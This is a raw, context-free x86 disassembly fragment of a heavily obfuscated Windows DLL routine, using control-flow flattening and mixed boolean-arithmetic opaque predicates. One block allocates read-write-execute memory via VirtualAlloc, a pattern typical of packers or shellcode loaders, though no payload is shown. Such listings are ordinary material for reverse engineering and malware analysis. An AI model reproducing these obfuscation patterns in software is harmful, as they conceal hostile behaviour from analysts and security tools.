or bl, cl
mov al, bl
xor al, 1
xor dh, cl
or al, dh
and dh, bl
mov bh, dh
xor bh, 1
mov bl, dh
and bl, al
xor al, 1
and bh, al
or bh, bl
mov bl, al
xor bl, dh
or al, dh
xor al, 1
or al, bl
xor bh, 1
mov dh, bh
xor dh, al
or bh, al
xor bh, 1
or bh, dh
mov dh, bh
xor dh, 1
mov bl, dh
or bl, ch
and dh, bh
xor dh, 1
mov al, bh
xor al, dh
or dh, bh
mov bh, bl
xor bh, 1
xor dh, 1
or dh, al
mov al, ch
xor al, dh
or dh, ch
xor dh, 1
or dh, al
mov ch, dh
xor ch, 1
and bl, bh
and dh, ch
xor bl, 1
mov al, bh
xor al, bl
or bl, bh
xor bl, 1
or bl, al
xor dh, 1
mov al, ch
xor al, dh
or dh, ch
xor dh, 1
or dh, al
mov al, bl
xor al, 1
and al, dh
xor dh, 1
and dh, bl
mov bl, bh
xor bl, ch
or ch, bh
or cl, ah
mov dl, byte [esp + 4]
xor cl, dl
xor dl, 1
xor ch, 1
or ch, bl
xor ch, 1
or ch, al
or ch, dh
or dl, byte [esp]
mov ah, dl
xor ah, 1
mov dh, cl
xor dh, 1
mov al, cl
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, cl
mov dh, ah
xor dh, cl
or cl, ah
and ah, dl
xor ah, 1
mov bl, ah
xor bl, dl
or ah, dl
xor ah, 1
or ah, bl
xor al, ah
xor cl, 1
or cl, dh
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
mov edx, eax
mov ah, ch
and ah, cl
or al, ch
xor cl, ch
and cl, ch
xor ch, 1
and dl, ch
or ah, dl
xor ch, ah
and ch, ah
xor al, 1
or cl, al
mov dl, ch
xor dl, 1
mov al, ch
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, ch
mov ah, al
xor ah, 1
and ah, cl
xor cl, 1
and al, cl
or al, ah
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov edi, 0x586474c8
mov ecx, 0xee4d767d
cmovne edi, ecx
test al, 1
cmove edi, ecx
not dl
test dl, 1
mov eax, 0x586474c8
cmovne edi, eax
jmp 0x10011930
cmp edi, 0xc8df811a
je 0x100247fa
cmp edi, 0xcb1f11b6
jne 0x10011930
mov edi, 0x9332cda7
push 0x40
push 0x1000
push dword [esp + 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x2c], eax
jmp 0x10011930
cmp edi, 0x56bc69ad
je 0x10025776
cmp edi, 0x586474c8
jne 0x10011930
mov edi, 0x64ddca50
jmp 0x10011930
cmp edi, 0x9eee8e7b
je 0x10025780
cmp edi, 0xa4979bbf
jne 0x10011930
mov eax, dword [0x1004f908]
lea edx, [eax + 1]
imul edx, eax
mov dword [esp], edx
mov ecx, edx
not ecx
mov eax, ecx
mov ebx, ecx
and eax, 0x1d298781
mov ecx, edx
and ecx, 0xe2d6787e
or ecx, eax
xor ecx, 0xe2d6787e
mov eax, ebx
and eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd6a991d3
and ecx, eax
and eax, 0x29566e2c
or eax, edx
xor eax, 0x29566e2c
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf3083bbb
mov esi, eax
and esi, 0xcf7c444
or esi, edx
mov edx, esi
xor edx, 0xcf7c444
xor esi, 0x51b3ead9
and esi, edx
or ecx, 0xa2bbd162
mov edx, esi
not edx
mov edi, edx
and edi, 0xbf22d51c
and esi, 0x40dd2ae3
or esi, edi
or edx, ecx
and ecx, 0xbf22d51c
and eax, 0x40442a81
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
xor eax, 0x809900
xor edx, 0x440e409b
and edx, 0xd61f44db
and eax, 0x29e0bb24
or eax, edx
mov ecx, eax
xor ecx, 0x29e0bb24
xor eax, 0xc6044488
and eax, 0xefe44d8c
mov edx, ecx
and edx, 0x101bb273
or edx, eax
xor edx, 0x2031fe51
and ecx, 0xcfd5b3dd
or ecx, edx
mov ebp, ecx
not ebp
mov edi, ebx
mov dword [esp + 8], ebx
mov eax, ebx
and eax, 0x302a4c22
mov esi, dword [esp]
mov edx, esi
xor edx, 0x302a4c22
and edx, esi
or edx, eax
not edx
and edi, 0xabbe0a6e
mov eax, esi
and eax, 0x5441f591
or eax, edi
xor eax, 0x5441f591
or eax, edx
mov edi, ecx
and edi, ebp
mov edx, ecx
and edx, 0xd41dfa9c
mov esi, ebp
and ebp, 0x2be20563
or ebp, edx
not ebp
or ebp, ecx
and ecx, 0x6eaed76
and esi, 0xf9151289
or esi, ecx
mov ecx, esi
xor ecx, 0x58051009
xor esi, 0x6eaed76
mov edx, esi
and edx, 0xa39a4382
and ecx, 0x5c65bc7d
or ecx, edx
mov edx, edi
not edx
or esi, edx
and edx, 0xa39a4382
and edi, 0x5c65bc7d
or edi, edx
xor edi, ecx
mov ecx, eax
not ecx
not esi
or esi, edi
mov dword [esp + 0xc], esi
mov ebx, eax
xor ebx, 0x70915e47
and ebx, ecx
mov edx, eax
and edx, 0xd41dfa9c
and ecx, 0x2be20563
or ecx, edx
not ecx
or ecx, eax
and eax, 0x8f6ea1b8
or ebx, eax
mov eax, esi
not eax
mov dword [esp + 4], eax
and eax, 0x2551acf8
mov edx, esi
and edx, 0xdaae5307
or edx, eax
mov edi, ebx
xor edi, 0x70915e47
mov dword [esp + 0x10], edi
xor ebx, 0x8f6ea1b8
mov eax, ebx
and eax, 0x2be20563
and edi, 0xd41dfa9c
or edi, eax
xor edx, 0xf14c5664
or edx, dword [esp + 4]
mov eax, edx
or eax, ebp
xor ebp, edx
not eax
or ebp, eax
not edi
or edi, ebx
mov eax, edi
xor eax, edi
not eax
and eax, ecx
xor eax, edi
mov edx, edi
or edx, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x71467cdb
and eax, 0x8eb98324
or eax, ecx
xor eax, edx
or edi, edx
xor eax, 0x8eb98324
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, edi
xor eax, 0xad060e09
and ecx, eax
and eax, edi
mov edx, ebp
not edx
mov edi, ebp
xor edi, 0xad060e09
and edi, ebp
or ebp, 0x52f9f1f6
mov esi, ebp
and esi, 0xf78766cf
and edx, 0x8000800
or edx, esi
mov esi, edi
not esi
or ebp, esi
and esi, 0xf78766cf
and edi, 0x8789930
or edi, esi
xor edi, edx
not ebp
or ebp, edi
mov edi, ecx
not edi
mov edx, edi
and edx, 0xcfc7f4c0
and ecx, 0x30380b3f
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0xcfc7f4c0
and eax, 0x30380b3f
or eax, edx
xor eax, ecx
not edi
or edi, eax
xor edi, ebp
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x10]
and ecx, eax
or eax, ebx
not eax
and ebx, dword [esp + 0xc]
or ebx, ecx
or ebx, eax
mov eax, edi
not eax
mov ecx, edi
xor ecx, 0x16f59a57
and ecx, eax
or eax, ebx
not ebx
and edi, 0xe90a65a8
or edi, ecx
xor edi, ebx
mov edx, edi
xor edx, 0x14058006
mov ecx, eax
not ecx
xor edi, 0xe90a65a8
mov esi, edi
and esi, 0xc3f03b59
and edx, 0x3c0fc4a6
or edx, esi
or edi, eax
and eax, 0xc3f03b59
and ecx, 0x3c0fc4a6
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0xc0000298
mov eax, edi
and eax, 0x1cfba504
or eax, edx
mov edx, eax
xor edx, 0xc4b0400
xor eax, 0x82044891
mov esi, ecx
or esi, 0x90b0a194
and eax, 0x92b4e995
and edx, 0x4c4b0608
or edx, eax
and esi, 0x92b4e995
mov eax, edi
and eax, 0x21001062
or eax, esi
xor eax, edx
mov edx, eax
xor edx, 0x22004041
xor eax, 0x54db0600
and edx, 0xaa20e1dd
and eax, 0x55df1e22
or eax, edx
mov edx, eax
xor edx, 0x65f55201
xor eax, 0x55df1e22
and eax, edx
and ecx, 0x8017af08
and edi, 0x7fe850f7
or edi, ecx
mov ecx, edi
xor ecx, 0x7fe850f7
xor edi, 0x80058808
and edi, 0xe86dc849
mov edx, ecx
and edx, 0x179237b6
or edx, edi
xor edx, 0x27b87b95
and ecx, 0xcfd5b3dc
or ecx, edx
mov edx, ecx
not edx
mov esi, eax
not esi
and edx, esi
or esi, ecx
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0xb8b31088
and ecx, 0x474cef77
or ecx, eax
xor ecx, esi
xor ecx, 0x474cef77
or edx, esi
not edx
or edx, ecx
mov dword [esp + 4], edx
mov edi, dword [esp + 8]
mov eax, edi
and eax, 0xec012b05
mov edx, dword [esp]
mov esi, edx
and esi, 0x13fed4fa
or esi, eax
mov ecx, esi
xor ecx, 0x3dc50ca
xor esi, 0xec002005
and esi, 0xfc22a435
and ecx, 0x3dd5bca
or ecx, esi
mov eax, ecx
xor eax, 0x88200004
xor ecx, 0x890a80
and ecx, 0x108b2e90
and eax, 0x88604106
or eax, ecx
xor eax, 0x88604106
or eax, 0x67149069
mov esi, eax
not esi
mov ecx, edi
and ecx, 0x25e07ea3
and edx, 0xda1f815c
or edx, ecx
mov ecx, edx
xor ecx, 0xda1f815c
xor edx, 0x4401e81
and edx, 0x96449ec5
mov edi, ecx
and edi, 0x69bb613a
or edi, edx
xor edi, 0xeaff153
and ecx, 0x98eb6f96
or ecx, edi
mov edi, eax
xor edi, 0x27bd3559
mov ebx, edi
and ebx, eax
and edi, esi
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0x80f93799
and ebx, 0x5802c806
or ebx, ebp
mov ebp, edi
not ebp
or esi, ebp
and ebp, 0x80f937b9
and edi, 0x18024806
or edi, ebp
xor edi, ebx
not esi
or esi, edi
xor esi, ecx
mov edi, esi
xor edi, 0x27bd3559
or ecx, eax
not ecx
or ecx, edi
xor esi, 0x40000000
mov eax, ecx
xor eax, 0x67149069
and eax, ecx
or ecx, 0x98eb6f96
mov edi, eax
not edi
mov ebx, ecx
and ebx, 0x8619f9bb
and esi, 0x61040040
or esi, ebx
or ecx, edi
and edi, 0x8619f9bb
and eax, 0x79e60644
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov eax, dword [esp + 4]
mov esi, eax
mov ebp, eax
not ebp
mov dword [esp], ebp
mov edi, ebp
and edi, 0x4508b05a
and esi, 0xaa00380
or esi, edi
xor esi, 0xaa00380
and ebp, 0xb0574c25
or ebp, esi
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xe30c472c
mov edi, eax
and edi, 0x1cf3b8d3
or edi, esi
mov edx, ebp
not edx
mov ebx, ecx
or ebx, ebp
and ebp, 0xe30c472c
and edx, 0x1cf3b8d3
or edx, ebp
xor edx, edi
mov edi, dword [esp + 4]
mov ebp, edi
xor ebp, 0x28a27df7
and ebp, edi
not ebx
or ebx, edx
mov edx, ebx
not edx
and ecx, 0xc5e10560
and eax, 0x3a1efa9f
or eax, ecx
mov esi, dword [esp]
mov ecx, esi
and ecx, 0x58dca70d
and edi, 0xa72358f2
or edi, ecx
mov ecx, eax
xor ecx, 0x22025892
xor eax, 0x40c00500
and eax, 0x58dca70d
and ecx, 0xa72358f2
or ecx, eax
xor ecx, edi
not ecx
or ecx, esi
mov eax, ebx
and eax, 0x347b86bc
mov edi, ebx
xor edi, 0xcb847943
and edi, edx
or edi, eax
mov eax, ecx
xor eax, 0x40000802
mov esi, ecx
xor esi, 0x20610480
and esi, 0xabe575c1
and eax, 0x541a8a3e
or eax, esi
xor eax, edi
mov esi, edx
and esi, 0xac474c49
and ebx, 0x53b8b3b6
or ebx, esi
mov esi, ecx
not esi
or edx, esi
and esi, 0xac474c49
and ecx, 0x53b8b3b6
or ecx, esi
xor ecx, ebx
xor eax, 0xabe575c1
not edx
or edx, ecx
not edx
or edx, eax
mov edi, dword [esp]
or edi, ebp
not ebp
and ebp, 0xd75d8208
and edi, 0x28a27df7
or edi, ebp
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xd2d25403
mov esi, edx
and esi, 0x2d2dabfc
or esi, eax
mov eax, ecx
or eax, edi
not edi
xor esi, 0xd2d25403
or esi, edi
not esi
not eax
or eax, esi
mov esi, eax
not esi
mov edi, esi
and edi, 0x39b11926
and eax, 0xc64ee6d9
or eax, edi
and edx, 0x39b11926
and ecx, 0xc64ee6d9
or ecx, edx
xor ecx, eax
not ecx
or ecx, esi
xor ecx, 0xffffffff
setne ch
sete ah
cmp dword [0x1004f90c], 0xa
setl cl
setge dl
mov al, dl
inc al
mov dh, al
xor dh, dl
or al, dl
xor al, 1
or al, dh
xor al, 1
or al, dh
mov bh, al
xor bh, 1
mov bl, cl
or bl, bh
or bh, dl
xor bh, 1
mov dh, cl
or dh, al
xor dh, 1
or dh, bh
xor bl, 1
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov bh, dh
xor bh, 1
and bl, bh
or bh, al
and al, dh
or al, bl
xor al, 1
mov dh, al
xor dh, bh
or al, bh
xor al, 1
or al, dh
mov dh, al
xor dh, 1
or dh, ah
or al, ch
mov ebx, eax
xor bl, dh
or al, dh
xor al, 1
or al, bl
mov ebx, edx
xor bl, ah
and bl, cl
mov dh, cl
xor dh, ah
or dh, bl
xor cl, ch
mov bl, dh
xor bl, 1
or dl, ah
mov ah, dl
xor ah, 1
or cl, ah
xor ah, dl
and ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or ah, dl
mov ch, dh
and ch, bl
xor ch, 1
or ch, bl
xor ch, 1
or ch, dh
mov dl, ah
xor dl, 1
mov cl, ch
xor cl, 1
and dl, ah
xor dl, 1
mov dh, dl
xor dh, ah
or dl, ah
xor dl, 1
or dl, dh
mov dh, cl
and dh, dl
inc dl
and dl, ch
or dl, dh
mov dh, ch
xor dh, ah
and dh, ch
xor cl, ah
or cl, dh
mov ah, cl
xor ah, 1
mov ch, dl
xor ch, 1
and ah, ch
or ch, cl
and cl, dl
or cl, ah
xor cl, 1
mov edx, ecx
xor dl, ch
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ch, ah
and ch, dl
mov cl, ch
xor cl, 1
or dl, cl
xor dl, 1
or dl, ah
and ch, dl
xor dl, 1
and dl, cl
or dl, ch
or cl, ah
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov cl, ah
xor cl, dl
or ah, dl
mov ch, ah
xor ch, 1
or cl, ch
xor cl, 1
mov dl, ah
or dl, cl
xor ah, cl
and ah, ch
or ch, cl
xor ah, 1
mov dh, ah
xor dh, ch
or ah, ch
xor ah, 1
or ah, dh
mov ch, ah
and ah, dl
xor dl, 1
xor ch, 1
mov dh, dl
xor dh, ch
and dh, dl
and ch, dl
mov dl, al
xor dl, 1
or ch, ah
mov ah, dh
xor ah, 1
xor dh, ch
xor ch, 1
or ch, ah
xor ch, 1
or ch, dh
mov dh, al
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, al
mov ah, ch
and ah, dh
xor dh, 1
mov dl, ch
xor dl, 1
and dh, dl
or dh, ah
mov ah, dh
xor ah, dl
and ah, dh
and dl, ch
xor dl, 1
mov dh, ch
xor dh, dl
or dl, ch
xor dl, 1
or dl, dh
mov ch, al
or ch, cl
xor cl, al
xor al, dl
and al, dl
mov dl, ah
xor dl, 1
and dl, al
xor al, 1
mov dh, ah
xor dh, al
and dh, ah
and al, ah
or al, dl
mov dl, dh
xor dl, 1
xor dh, al
xor al, 1
or al, dl
xor al, 1
or al, dh
mov dl, ch
xor dl, 1
mov ah, cl
xor ah, 1
and cl, ch
or ch, ah
xor ch, 1
and ah, dl
or ah, cl
or ah, ch
mov dl, ah
xor dl, 1
and dl, ah
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
mov ah, cl
and cl, dl
xor dl, 1
or ah, dl
xor ah, 1
and dl, al
or cl, dl
xor cl, ah
mov al, cl
not al
and al, ah
test cl, 1
mov edx, 0x899e7b38
mov esi, 0x5d5e6276
cmovne edx, esi
test al, 1
jmp 0x10025766
cmp edi, 0x48111fd9
je 0x10026c0c
cmp edi, 0x4977a181
jne 0x10011930
mov eax, dword [esp + 0x44]
cmp eax, 0xffffffff
mov edi, 0x256c58a3
mov eax, 0x3733aacc
cmove edi, eax
jmp 0x10011930
cmp edi, 0xed49b243
je 0x1002791d
cmp edi, 0xee4d767d
jne 0x10011930
mov edi, 0xf36ad19
jmp 0x10011930
cmp edi, 0x6be2061e
je 0x10029099
cmp edi, 0x7466b852
jne 0x10011930
mov edi, 0x5c05ee9b
jmp 0x10011930
cmp edi, 0x903e9923
je 0x100290a3
cmp edi, 0x918a2117
jne 0x10011930
mov edi, 0x48111fd9
jmp 0x10011930
cmp edi, 0x256c58a3
je 0x1002a185
cmp edi, 0x36c7af5b
jne 0x10011930
mov edi, 0x903e9923
mov dword [esp + 0x1c], 1
jmp 0x10011930
cmp edi, 0xd2e01f3e
je 0x1002b5cd
cmp edi, 0xda8b46ee
jne 0x10011930
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov ebx, ecx
or eax, 0x100408
mov ecx, edx
or ecx, 0x800006
and eax, 0x90040e
mov esi, edx
mov ebp, edx
and esi, 0xa0010
or esi, eax
and ecx, 0x90040e
mov edx, ebx
and edx, 0x2100
or edx, ecx
xor edx, esi
mov eax, edx
xor eax, 0x100000
xor edx, 0xffefdaf7
mov ecx, ebp
and ecx, 0x4384f7cf
mov edi, ebx
and edi, 0xbc7b0830
or edi, ecx
mov esi, edi
xor esi, 0xbc7b0830
xor edi, 0x2048689
and edi, 0xe258699
mov ecx, esi
and ecx, 0xf1da7966
or ecx, edi
xor ecx, 0xebfa387
and esi, 0x9a251e
or esi, ecx
mov edi, esi
not edi
mov ecx, edx
or ecx, esi
not ecx
and edx, 0xdbc4effc
and eax, 0x1a0002
or eax, edx
and esi, 0xdbc4effc
and edi, 0x243b1003
or edi, esi
xor edi, eax
or ecx, edi
not edi
and edi, 0x6401c261
mov eax, ecx
and eax, 0x9b641880
or eax, edi
xor eax, 0x9b641880
and ecx, 0x9a251e
or ecx, eax
mov eax, ecx
or eax, 0xe29ec537
mov edx, ecx
not edx
mov esi, edx
and esi, 0xe29ec537
and ecx, 0x1d613ac8
or ecx, esi
mov esi, ecx
not esi
mov edi, eax
and edi, 0x93321d1e
and edx, 0xc4122c0
or edx, edi
or eax, esi
and esi, 0x93321d1e
and ecx, 0x6ccde2e1
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc7355334
and ecx, 0x38caaccb
or ecx, edx
xor ecx, 0xc7355334
xor eax, ecx
and eax, ecx
mov edx, ebp
or edx, 0xb80690
mov ecx, ebx
or ecx, 0x1342e849
and ecx, 0x13faeed9
mov esi, ebp
mov dword [esp + 4], ebp
and esi, 0x8c051026
or esi, ecx
and edx, 0x13faeed9
mov ecx, ebx
mov dword [esp + 8], ebx
and ecx, 0x60000100
or ecx, edx
xor ecx, esi
mov esi, ecx
xor esi, 0x6e23d381
xor ecx, 0x91dc2c7e
mov edx, ebp
and edx, ecx
and esi, ebx
or esi, edx
not esi
or esi, ecx
mov ebx, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x803d3a69
mov esi, eax
and esi, 0x7fc2c596
or esi, edx
mov edi, esi
xor edi, 0x7fc2c596
mov dword [esp + 0x1c], edi
xor esi, 0x803d3a69
mov edx, esi
mov ebp, esi
mov dword [esp], esi
and edx, 0xfc9e091
mov esi, edi
and esi, 0xf0361f6e
or esi, edx
xor esi, 0x25b95ed0
mov edx, esi
xor edx, ebp
and edx, esi
or ecx, 0x5040190
and eax, 0x2810b840
and ecx, 0x7640791
or ecx, eax
mov edi, ebx
not edi
mov dword [esp + 0xc], edi
mov eax, ebx
mov ebp, ebx
and eax, 0xaa0b59f4
mov esi, edi
and esi, 0x55f4a60b
or esi, eax
xor esi, 0x807be7b5
mov ebx, edi
and ebx, 0x2a70be41
or ebx, esi
mov eax, edi
and eax, 0x8dbdb8d2
mov dword [esp + 0x10], ebp
mov esi, ebp
and esi, 0x7242472d
or esi, eax
xor esi, 0x5832f96c
and ebp, 0xd58f41be
or ebp, esi
mov eax, ecx
xor eax, 0x7640791
mov esi, edx
not esi
xor ecx, 0xf89bf86e
and eax, esi
or esi, ecx
and ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x6248c482
and ecx, 0x9db73b7d
or ecx, eax
or edx, esi
and esi, 0x6a78fec3
xor esi, ecx
xor esi, 0x8303a41
not edx
or edx, esi
mov esi, ebx
not esi
mov eax, ebx
and eax, 0x32ce9c39
mov ecx, esi
and ecx, 0xcd3163c6
or ecx, eax
mov eax, ecx
xor eax, 0x80800
or eax, 0x80242032
mov edi, ecx
xor ecx, 0x1110080
and eax, 0x8c2c2876
and ecx, 0x1510481
or ecx, eax
or ebx, 0xc080844
and ebx, 0x8c2c2876
and esi, 0x7282d308
or esi, ebx
xor esi, ecx
xor edi, 0xcd3163c6
or edi, ebp
mov eax, ebp
mov ecx, ebp
not ebp
xor eax, 0xf2a6f33a
and eax, ebp
or ebp, 0xf2a6f33a
mov ebx, ebp
and ebx, 0xa0e0f17b
and ecx, 0xd190c84
or ecx, ebx
mov ebx, eax
not ebx
or ebp, ebx
and ebx, 0xa0e0f17b
and eax, 0x5f1f0e84
or eax, ebx
xor eax, ecx
not ebp
or ebp, eax
mov eax, ebp
xor eax, ebp
not eax
and eax, esi
xor eax, ebp
not edi
or edi, eax
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0xf9397bd8
and eax, edx
or edx, 0x6c68427
mov esi, edx
and esi, 0xa33dab7
and ecx, 0xf1082148
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0xa33dab7
and eax, 0xf5cc2548
or eax, esi
xor eax, ecx
not edx
or edx, eax
xor edi, 0xf9397bd8
mov eax, edi
xor eax, edi
not eax
and eax, edx
xor eax, edi
mov dword [esp + 0x14], eax
mov ecx, dword [esp]
and ecx, 0xf6d51fe8
mov edi, dword [esp + 0x1c]
mov ebp, edi
and ebp, 0x92ae017
or ebp, ecx
mov esi, dword [esp + 0x10]
mov ebx, esi
xor ebx, 0x93e17312
and ebx, esi
mov ecx, dword [esp + 0xc]
and ecx, 0x54b7f50f
and esi, 0xab480af0
or esi, ecx
mov edx, ebp
xor edx, 0x92ae017
mov dword [esp + 0xc], edx
xor ebp, 0xf6d51fe8
mov ecx, ebp
or ecx, 0x20080464
and ecx, 0x20e84566
and edx, 0x93013210
or edx, ecx
mov eax, dword [esp]
or eax, 0xe04102
and eax, 0x20e84566
mov ecx, eax
mov eax, edi
and eax, 0x4c168889
or eax, ecx
xor eax, edx
mov dword [esp + 0x1c], eax
mov ecx, esi
xor ecx, 0x54b7f50f
mov edi, ecx
or edi, 0x6c1e8ced
mov edx, esi
xor esi, 0x1400200
mov eax, edi
and eax, 0xc625687d
and esi, 0x11c01302
or esi, eax
mov eax, ebx
not eax
or edi, eax
and eax, 0xc625687d
and ebx, 0x39da9782
or ebx, eax
xor ebx, esi
not edi
or edi, ebx
mov esi, edi
xor esi, edi
not esi
and esi, dword [esp + 0x1c]
xor esi, edi
mov eax, ebp
and eax, 0x349ee3d6
mov edi, dword [esp + 0xc]
and edi, 0xcb611c29
or edi, eax
xor edx, 0x8b400820
or ebp, ecx
and ecx, 0x349ee3d6
and edx, 0xcb611c29
or edx, ecx
xor edx, edi
not ebp
or ebp, edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x7f8c8582
and esi, 0x80737a7d
or esi, eax
xor esi, ebp
xor esi, 0x80737a7d
or ecx, ebp
not ecx
or ecx, esi
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xe16b9756
and eax, ecx
mov esi, ecx
or esi, 0x2842888
and esi, 0xe2c62fdc
and edx, 0x1299002
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xe2c62fdc
and eax, 0x1d39d023
or eax, esi
xor eax, edx
not ecx
or ecx, eax
not eax
and eax, 0x1e9468a9
and ecx, 0xe16b9756
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x33a655ea
and ecx, 0xcc59aa15
or ecx, edx
xor ecx, 0xcc59aa15
or ecx, eax
mov esi, dword [esp + 0x14]
mov eax, esi
not eax
xor esi, eax
and esi, ecx
xor esi, eax
or eax, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xc2c4edd9
and esi, 0x3d3b1226
or esi, edx
xor esi, eax
xor esi, 0x3d3b1226
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x18600657
mov esi, eax
and esi, 0xe79ff9a8
or esi, edx
mov edi, esi
xor edi, 0x18600241
xor esi, 0xe29ec120
and esi, 0xe29ec536
and edi, 0x1d613ac9
or edi, esi
mov edx, edi
xor edx, 0xe29ec536
and edx, edi
mov esi, eax
and esi, 0x1d613ac9
and ecx, 0xe29ec536
or ecx, esi
xor eax, ecx
and eax, ecx
mov edi, edx
xor edi, 0xcbb21c82
and edi, edx
mov ecx, edx
not ecx
mov esi, eax
xor esi, 0xcbb21c82
and esi, eax
not eax
mov edx, ecx
and edx, 0xcbb21c82
or edi, edx
or ecx, eax
and eax, 0xcbb21c82
or esi, eax
xor esi, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0xd810d095
and esi, 0x27ef2f6a
or esi, eax
xor esi, ecx
xor esi, 0x27ef2f6a
or edx, ecx
not edx
or edx, esi
mov edi, dword [esp + 4]
mov ecx, edi
or ecx, 0x2028184
mov ebx, dword [esp + 8]
mov eax, ebx
or eax, 0x38c04c28
and eax, 0x3ac2cdac
mov esi, edi
and esi, 0x45052001
or esi, eax
and ecx, 0x3ac2cdac
mov eax, ebx
and eax, 0x80381252
or eax, ecx
xor eax, esi
mov ecx, eax
xor ecx, 0x10084e20
xor eax, 0x4707a185
and ecx, 0x160b6e20
mov esi, eax
and esi, 0xe9f491df
or esi, ecx
xor esi, 0x5e8ced82
and eax, 0x488783a2
or eax, esi
mov esi, eax
not esi
and edi, 0x482b5dc1
and ebx, 0xb7d4a23e
or ebx, edi
mov ecx, ebx
xor ecx, 0xb7d4a23e
xor ebx, 0x44c0
and ebx, 0xb29044d4
mov edi, ecx
and edi, 0x4d6fbb2b
or edi, ebx
xor edi, 0x5e83889
and ecx, 0xb7787c5d
or ecx, edi
mov edi, esi
xor edi, ecx
and edi, esi
and eax, 0x39c21357
and esi, 0xc63deca8
or esi, eax
xor esi, ecx
xor esi, 0xc63deca8
or esi, edi
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0x488783a2
and eax, esi
or esi, 0xb7787c5d
mov edi, eax
not edi
mov ebx, esi
and ebx, 0x4aa7da9b
and ecx, 0x120
or ecx, ebx
or esi, edi
and edi, 0x4aa7da9b
and eax, 0xb5582564
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x2d31c51b
and ecx, edx
mov dword [esp], ecx
not edx
mov edi, edx
mov dword [esp + 0x1c], edx
and edi, 0xd71109ec
and eax, 0x28eef613
or eax, edi
mov edi, eax
xor edi, 0xe29011
xor eax, 0x44100880
and eax, 0x6c1c6e82
and edi, 0x93e3917d
or edi, eax
mov eax, edi
xor eax, 0x93e3917d
mov ebx, esi
not ebx
and eax, ebx
xor edi, 0x6c1c6e82
and edi, esi
or edi, eax
mov ebp, edi
xor ebp, ebx
and ebp, edi
mov edi, ebx
and edi, esi
mov eax, esi
and eax, 0x2709a53f
and ebx, 0xd8f65ac0
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0x2709a53f
and edi, 0xd8f65ac0
or edi, eax
xor edi, ebx
not esi
or esi, edi
not esi
or esi, edx
mov ebx, esi
not ebx
mov edi, ebp
not edi
mov eax, esi
and eax, 0xf34745d7
xor esi, 0x9c9bdff5
and esi, ebx
and ebx, 0xcb8ba28
or ebx, eax
mov edx, ebp
xor edx, 0x6364200a
mov ecx, edx
and ecx, edi
and edx, ebp
or edx, ecx
mov eax, ebx
xor eax, 0xcb8ba28
mov ecx, eax
and ecx, 0x6364200a
or esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edx
xor ecx, esi
mov edx, ebp
and edx, 0xfa2c4a36
and edi, 0x5d3b5c9
or edi, edx
xor ebx, 0xf34745d7
or ebp, ebx
and ebx, 0xfa2c4a36
and eax, 0x5d3b5c9
or eax, ebx
xor eax, edi
not ebp
or ebp, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa31ea115
and ecx, 0x5ce15eea
or ecx, edx
xor ecx, ebp
xor ecx, 0x5ce15eea
or eax, ebp
not eax
or eax, ecx
mov ebx, eax
not ebx
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp]
or ebp, ecx
not ecx
and ecx, 0xd2ce3ae4
and ebp, 0x2d31c51b
or ebp, ecx
mov dword [esp + 0x1c], ebp
and eax, 0xc780a4b8
mov ecx, ebx
and ecx, 0x387f5b47
or ecx, eax
mov edi, ecx
xor edi, 0x387f5b47
mov eax, ebp
not eax
mov edx, edi
